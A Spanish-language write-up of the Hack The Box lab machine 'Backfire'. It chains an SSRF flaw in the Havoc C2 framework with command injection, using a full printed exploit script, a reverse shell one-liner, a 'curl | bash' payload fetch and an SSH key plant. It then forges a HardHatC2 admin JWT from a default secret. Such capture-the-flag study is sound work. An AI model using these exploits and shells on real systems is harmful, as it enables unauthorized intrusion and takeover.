Descripción
Backfire es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Ataque de solicitud de lado del servidor no autenticada en el framework C2 Havoc
- Desarrollo de cuadros de WebSocket utilizando sockets TCP️
- Ejecución remota de comandos autenticada en Havoc Framework como usuario del sistema
- La configuración de fábrica del software HardHatC2 permite crear tokens JWT que permiten el acceso a la aplicación y la capacidad de ejecutar comandos como un usuario diferente
- Escalada de privilegios utilizando
iptablesyiptables-savepermitiendo modificar archivos del sistema
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.163.156.
$ ping -c 3 10.129.163.156
PING 10.129.163.156 (10.129.163.156) 56(84) bytes of data.
64 bytes from 10.129.163.156: icmp_seq=1 ttl=63 time=49.5 ms
64 bytes from 10.129.163.156: icmp_seq=2 ttl=63 time=49.0 ms
64 bytes from 10.129.163.156: icmp_seq=3 ttl=63 time=49.4 ms
--- 10.129.163.156 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 48.978/49.304/49.501/0.232 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.163.156 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.163.156
Host is up (0.051s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
5000/tcp filtered upnp
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds
Obtenemos tres puertos abiertos: 22, 443 y 8000.️
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.163.156 -sV -sC -p22,443,8000 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.163.156
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp open ssl/http nginx 1.22.1
|_http-title: 404 Not Found
|_http-server-header: nginx/1.22.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=acme/stateOrProvinceName=/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-12-23T11:27:49
|_Not valid after: 2027-12-23T11:27:49
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
8000/tcp open http nginx 1.22.1
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-title: Index of /
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.68 seconds
Obtenemos dos servicios: uno de Secure Shell (SSH) y dos de Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales factibles para el servicio SSH, vamos a movernos al servicio HTTP. En el servicio 8000 tenemos disponibles dos archivos disable_tls.patch y havoc.yaotl. Los descargamos.️
$ wget http://10.129.163.156:8000/disable_tls.patch
$ wget http://10.129.163.156:8000/havoc.yaotl
Encontramos que los dos archivos tienen relación con Havoc Framework, un software de mando y control. En el archivo disable_tls.patch encontramos una modificación DIFF que modifica el uso de un WebSocket seguro a uno no seguro (wss:// -> ws://) para el equipo servidor, que solo estará disponible desde conexiones locales.️
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
Este ignora la capa de TLS del protocolo HTTPs, lo que hace que el protocolo sea más fácil de operar utilizando sockets TCP. En el archivo havoc.yaotl tenemos la configuración de la instancia de Havoc con dos operadores: ilya, con contraseña CobaltStr1keSuckz! y sergej, con contraseña 1w4nt2sw1tch2h4rdh4tc2. Tenemos el servidor de equipo en ejecución utilizando el puerto por defecto 40056 y el escuchador de agentes en ejecución en el puerto 8443.️
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
Ninguno de esos dos puertos está abierto en la máquina, solo encontramos uno interesante, 443, un puerto de HTTPS. Vamos a enumerar el servicio con la herramienta cURL para comprobar si obtenemos algún dato interesante.️
$ curl -kv https://10.129.163.156/
* Trying 10.129.163.156:443...
* GnuTLS ciphers: NORMAL:-ARCFOUR-128:-CTYPE-ALL:+CTYPE-X509:-VERS-SSL3.0
* SSL connection using TLS1.3 / ECDHE_RSA_AES_256_GCM_SHA384
* server certificate verification SKIPPED
* server certificate status verification SKIPPED
* common name: 127.0.0.1 (does not match '10.129.163.156')
* server certificate expiration date OK
* server certificate activation date OK
* certificate public key: RSA
* certificate version: #3
* Failed to get certificate name
* Failed to get certificate issuer
* ALPN: server accepted http/1.1
* Connected to 10.129.163.156 (10.129.163.156) port 443
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.129.163.156
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 404 Not Found
< Server: nginx/1.22.1
< Content-Type: text/html
< Content-Length: 146
< Connection: keep-alive
< X-Havoc: true
<
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
* Connection #0 to host 10.129.163.156 left intact
Encontramos que el servidor nos está devolviendo una respuesta de 404 Not Found con el servidor web nginx/1.22.1. También encontramos la cabecera X-Havoc: true. El servicio debe tener relación con un escuchador de Havoc.️
Explotación
Buscando vulnerabilidades para el marco Havoc Framework, encontramos una vulnerabilidad de solicitud de lado del servidor (SSRF), descubierta por chebuya, con una prueba de concepto y una vulnerabilidad asignada CVE-2024-41570. Los atacantes no autorizados podrían crear un socket TCP en el servidor de equipo con una dirección IP o puerto arbitrario, y leer y escribir tráfico a través del socket. Al explotar esta vulnerabilidad, los atacantes podrían abusar de los servidores de equipo vulnerables como una redirección. Por ejemplo, podríamos acceder al puerto interno del servidor del equipo, 40056. Vamos a verificar la prueba de concepto para ver si funciona.️
Con el parámetro -t, especificamos la URL del escuchador de agentes, con los parámetros -i y -p especificamos que queremos acceder al puerto localhost 40056. Deberíamos crear un entorno virtual de Python e instalar las dependencias pycryptodome y requests.️
$ wget https://github.com/chebuya/Havoc-C2-SSRF-poc/blob/main/exploit.py
$ python -m virtualenv .env
$ . .env/bin/activate
$ pip install pycryptodome
$ python exploit.py -t https://10.129.163.156 -i 127.0.0.1 -p 40056
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.1 404 Not Found
Content-Type: text/plain
Content-Length: 18
Connection: close
404 page not found
Está funcionando, estamos recibiendo la respuesta del 404 page not found desde el equipo servidor. Por lo tanto podemos confirmar que el puerto está abierto solo para conexiones de localhost. Ahora necesitamos encontrar una forma de enviar comandos al equipo servidor. Como vimos anteriormente, las conexiones se establecen utilizando WebSockets inseguros, como se vio en el inicio del archivo DIFF.️
Encontramos que Havoc es vulnerable a inyección de comandos, lo que permite al usuario autenticado ejecutar comandos en el equipo servidor, con la vulnerabilidad descubierta por hyperreality. También tenemos una prueba de concepto. En este caso, el script crea una conexión WebSocket directamente, por lo que no podemos utilizarlo como único medio para enviar datos en bruto utilizando la vulnerabilidad SSRF. Sin embargo, podemos combinar los dos scripts para obtener un control remoto de la máquina que ejecuta la aplicación C2.️
En el script de SSRF, registramos un agente falso en el servidor utilizando la función register_agent, luego abrimos el socket utilizando la función open_socket, escribimos datos al socket utilizando la función write_socket y leemos datos al socket utilizando la función read_socket. Vamos a agregar la función get_websocket_frame que creará los marcos binarios de WebSocket y la función write_websocket_frame que escribirá el marco creado en el socket remoto.️
También se agregarán tres nuevos parámetros, -U con el nombre de usuario del C2, -P con la contraseña del usuario del C2 y -C con el comando que se quiere ejecutar remotamente. Después de eso, se cambia el comportamiento predeterminado de enviar una solicitud HTTP GET con la ruta /vulnerable. Lo modificamos para iniciar la conexión de WebSockets. Luego, los comandos del script de RCE son reflejados para obtener la ejecución de comandos. A continuación, se encuentra el script modificado:️
import binascii
import hashlib
import json
import random
import requests
import struct
import argparse
import urllib3
urllib3.disable_warnings()
from Crypto.Cipher import AES
from Crypto.Util import Counter
key_bytes = 32
def decrypt(key, iv, ciphertext):
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
plaintext = aes.decrypt(ciphertext)
return plaintext
def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)
def encrypt(key, iv, plaintext):
if len(key) <= key_bytes:
for x in range(len(key),key_bytes):
key = key + b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
ciphertext = aes.encrypt(plaintext)
return ciphertext
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
# DEMON_INITIALIZE / 99
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
def open_socket(socket_id, target_address, target_port):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
# SOCKET_COMMAND_OPEN / 16
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
def write_socket(socket_id, data):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
# SOCKET_COMMAND_READ / 11
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
# SOCKET_TYPE_CLIENT / 3
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand+socket_id+socket_type+success+data_length+data
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
def read_socket(socket_id):
# COMMAND_GET_JOB / 1
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]
def get_websocket_frame(payload_data):
"""Create WebSocket frame for sending message with masking"""
payload_length = len(payload_data)
# Create a random masking key (4 bytes)
masking_key = bytearray(random.getrandbits(8) for _ in range(4))
# Create the frame header
frame_header = bytearray()
frame_header.append(0b10000001) # FIN bit + Text frame opcode
if payload_length <= 125:
frame_header.append(0x80 | payload_length) # Mask bit set to 1
elif payload_length <= 65535:
frame_header.append(0x80 | 126) # Mask bit set to 1 + payload length follows in 2 bytes
frame_header.extend(struct.pack("!H", payload_length)) # 2-byte length
else:
frame_header.append(0x80 | 127) # Mask bit set to 1 + payload length follows in 8 bytes
frame_header.extend(struct.pack("!Q", payload_length)) # 8-byte length
# Add the masking key (4 bytes)
frame_header.extend(masking_key)
# Mask the payload data with the masking key
masked_payload = bytearray()
for i in range(payload_length):
masked_payload.append(payload_data[i] ^ masking_key[i % 4])
# Return the complete frame: header + masking key + masked payload
return frame_header + masked_payload
def write_websocket_frame(payload):
request_data = json.dumps(payload).encode()
frame = get_websocket_frame(request_data)
write_socket(socket_id, frame)
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-U", "--user", help="Username of the C2", required=True)
parser.add_argument("-P", "--password", help="Password of the C2", required=True)
parser.add_argument("-C", "--command", help="Command to inject to the C2", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
args = parser.parse_args()
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
"User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))
# Start WebSocket connection
request_data = "GET /havoc/ HTTP/1.1\r\nUpgrade: websocket\r\nHost: " + args.ip + ":" + args.port + "\r\nSec-WebSocket-Key: QakX2BL48Ov2q13DFMqXkw==\r\nSec-WebSocket-Version: 13\r\nConnection: Upgrade\r\n\r\n"
write_socket(socket_id, request_data.encode())
print(read_socket(socket_id).decode())
# Send initial authentication message from havoc_rce.py
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(args.password.encode()).hexdigest(), "User": args.user}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": args.user}}
write_websocket_frame(payload)
print(read_socket(socket_id).decode())
# Send listener creation message from havoc_rce.py
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": args.user}}
write_websocket_frame(payload)
print(read_socket(socket_id).decode())
# Send remote command execution message from havoc_rce.py
injection = """ \\\\\\\" -mbla; """ + args.command + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": args.user}}
write_websocket_frame(payload)
print(read_socket(socket_id).decode())
Vamos a crear un archivo de carga útil que el servidor descargará y luego ejecutará. Lo alojaremos en un servidor HTTP. Luego, ejecutamos la explotación después de abrir el puerto escuchando.️
$ echo 'bash -i >& /dev/tcp/10.10.14.76/1234 0>&1' > payload.sh
$ python -m http.server 80
$ nc -nvlp 1234
$ python ssrf.py -t https://10.129.163.156:443 -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -C 'curl http://10.10.14.76/payload.sh | bash'
Obtenemos una conexión remota con una terminal de Linux con la sesión como el usuario ilya.️
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.76] from (UNKNOWN) [10.129.163.156] 36936
bash: cannot set terminal process group (9229): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$ id
id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
Cambiamos a una terminal más estable utilizando SSH, creando una clave privada SSH y luego agregándola al archivo authorized_keys del usuario ilya.️
$ ssh-keygen -t rsa -b 1024 -f rsakey
Generating public/private rsa key pair.
Enter passphrase for "rsakey" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in rsakey
Your public key has been saved in rsakey.pub
The key fingerprint is:
SHA256:Kx0UvZomMV/bkVbtA86CKLR3Yj4FgG5ADmSn5N3DMhg a@a
$ cat rsakey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDgkWK0cclSbbRiRBKiaPb3873yTweFP61107gWaDdPmuODD4eHN/y6U19IFcda7zGkocThAC3ka/PIzS7dKkdsF6Hw6GeMWtefEfLcJR0C/PYqCvyt2ZpXENzpL2rCisoPPduqcRMtmihGo3zWqAsY13IfgQoaJa9fNVcg2zLHCQ== a@a
Copiamos la clave pública a la máquina remota.️
$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDgkWK0cclSbbRiRBKiaPb3873yTweFP61107gWaDdPmuODD4eHN/y6U19IFcda7zGkocThAC3ka/PIzS7dKkdsF6Hw6GeMWtefEfLcJR0C/PYqCvyt2ZpXENzpL2rCisoPPduqcRMtmihGo3zWqAsY13IfgQoaJa9fNVcg2zLHCQ== a@a' > /home/ilya/.ssh/authorized_keys
Ahora podemos iniciar sesión en la máquina utilizando SSH.️
$ ssh -i rsakey ilya@10.129.163.156
ilya@backfire:~$ id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
Post-Explotación
Encontramos un archivo de nota en la carpeta de inicio del usuario ilya, llamado hardhat.txt.️
ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
La nota menciona que el software HardHatC2 está instalado con la configuración predeterminada. Encontramos que el software procesa comandos por el usuario sergej.️
ilya@backfire:~$ ps -ef | grep HardHatC2
sergej 9603 1 3 17:40 ? 00:00:10 /home/sergej/.dotnet/dotnet run --project HardHatC2Client --configuration Release
sergej 9659 9604 1 17:40 ? 00:00:03 /home/sergej/HardHatC2/TeamServer/bin/Release/net7.0/TeamServer
sergej 9680 9603 1 17:40 ? 00:00:03 /home/sergej/HardHatC2/HardHatC2Client/bin/Release/net7.0/HardHatC2Client
También encontramos dos puertos abiertos que no habíamos descubierto anteriormente, 5000 y 7096.️
ilya@backfire:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:443 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
tcp LISTEN 0 512 0.0.0.0:5000 0.0.0.0:*
tcp LISTEN 0 512 0.0.0.0:7096 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:40056 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:8000 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
Verificando la documentación de HardHatC2 encontramos que el puerto 5000 corresponde al servidor del equipo y el 7096 a la interfaz de usuario web. Al explorar su código fuente, encontramos un archivo que contiene la configuración por defecto, TeamServer/appsettings.json.️
{
"Logging": {
"LogLevel": {
"Default": "Information",
"Microsoft": "Warning",
"Microsoft.Hosting.Lifetime": "Information"
}
},
"AllowedHosts": "*",
"Jwt": {
"Key": "jtee43gt-6543-2iur-9422-83r5w27hgzaq",
"Issuer": "hardhatc2.com"
},
"IPWhitelistOptions": {
"Whitelist": [ "*"]
},
}
Encontramos la clave secreta utilizada para forjar los tokens JWT, jtee43gt-6543-2iur-9422-83r5w27hgzaq y el emisor, hardhatc2.com. En el archivo TeamServer/Services/UsersRolesDatabaseService.cs encontramos que el nombre de usuario predeterminado del administrador es HardHat_Admin.️
...
public static async Task CreateDefaultAdmin()
{
UserStore userStore = new UserStore();
var AdminUsername = Environment.GetEnvironmentVariable("HARDHAT_ADMIN_USERNAME") ?? "HardHat_Admin";
...
También encontramos que su rol es Administrator.️
...
await userStore.AddToRoleAsync(user, "Administrator", new CancellationToken());
...
En el archivo TeamServer/Services/Authentication.cs se encuentra el código que crea el token JWT.️
private static async Task<string> GenerateJSONWebToken(UserInfo user)
{
SymmetricSecurityKey SymmetricSecurityKey = new(Encoding.UTF8.GetBytes(Configuration["Jwt:Key"]));
SigningCredentials signingCreds = new(SymmetricSecurityKey, SecurityAlgorithms.HmacSha256);
List<Claim> claims = new()
{
new Claim(JwtRegisteredClaimNames.Sub,user.UserName),
new Claim(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString()),
new Claim(ClaimTypes.NameIdentifier, user.Id)
};
IList<string> roleNames = await UserManager.GetRolesAsync(user);
foreach (string roleName in roleNames)
{
claims.Add(new Claim(ClaimsIdentity.DefaultRoleClaimType, roleName));
}
JwtSecurityToken jwtsecToken = new(Configuration["Jwt:Issuer"],Configuration["Jwt:Issuer"], claims,null,DateTime.Now.AddDays(28),signingCreds);
return new JwtSecurityTokenHandler().WriteToken(jwtsecToken);
}
A partir de este código se pueden obtener los parámetros necesarios para crear un JWT para crear una sesión como el usuario administrador. Tenemos la clausula sub con el nombre de usuario, jti con un Token ID JWT aleatorio y la clausula ClaimTypes.NameIdentifier http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier con el identificador del usuario. Luego tenemos la clausula ClaimsIdentity.DefaultRoleClaimType http://schemas.microsoft.com/ws/2008/06/identity/claims/role con el rol predeterminado. Finalmente, tenemos los emisores iss y aud, junto con la disponibilidad del token desde su inicio iat y su finalización exp. Se crea un script para crear el token.️
import jwt
import datetime
import uuid
# Secret key used to sign the token
SECRET_KEY = 'jtee43gt-6543-2iur-9422-83r5w27hgzaq'
# Parameters
PLATFORM_ADMINISTRATOR = 'HardHat_Admin'
JSON_TOKEN_ID = str(uuid.uuid4())
ADMINISTRATOR_ID = '1'
ISSUER = 'hardhatc2.com'
FROM_TIMESTAMP = datetime.datetime.now(datetime.timezone.utc)
TO_TIMESTAMP = FROM_TIMESTAMP + datetime.timedelta(days=28)
ADMINISTRATOR_ROLE = 'Administrator'
# Define the payload
payload = {
'sub': PLATFORM_ADMINISTRATOR,
'jti': JSON_TOKEN_ID,
'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier': ADMINISTRATOR_ID,
'http://schemas.microsoft.com/ws/2008/06/identity/claims/role': ADMINISTRATOR_ROLE,
'iss': ISSUER,
'aud': ISSUER,
'iat': FROM_TIMESTAMP,
'exp': TO_TIMESTAMP
}
# Generate the JWT
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
print(f'Generated JWT: {token}')
Creamos el token.️
$ python create_jwt.py
Generated JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...uKMAnoVp1wiv8ck
Para conectar al servidor es necesario redireccionar los puertos locales 5000 y 7096.️
$ ssh -i rsakey -N -L 127.0.0.1:5000:127.0.0.1:5000 -L 127.0.0.1:7096:127.0.0.1:7096 ilya@10.129.163.156
Ahora podemos acceder a la interfaz de usuario de HardHatC2 visitando el enlace https://127.0.0.1:7096/. Encontramos el formulario de inicio de sesión.️
Si exploramos el código fuente de HardHatC2, en el archivo HardHatC2Client/Pages/Login.razor, se encuentran dos variables de almacenamiento local utilizadas para mantener una sesión en la página web bearerToken con el token generado y UserName con el nombre de usuario.️
...
await localStorage.SetItemAsync("bearerToken", token);
await localStorage.SetItemAsync("UserName", UserName);
...
Agregamos las dos variables utilizando las Herramientas de Desarrollo Storage > Local Storage > Add Item.
Refrescamos la página y tendremos acceso al panel de control web, que requiere que creemos una nueva cuenta.️
Creamos un nuevo cuenta con el rol de TeamLead. Cerramos sesión y luego volvemos a iniciarla con la cuenta de TeamLead.️
Ahora tenemos la opción de ejecutar comandos en una terminal en el menú ImplantInteract > Terminal > New Tab Icon que abre la pestaña Terminal 1.
En el pie de página tenemos la opción de ingresar comandos.️
Después de hacer clic en el botón SEND dos veces, aparece una ventana flotante en la parte superior de la página con el resultado del comando.️
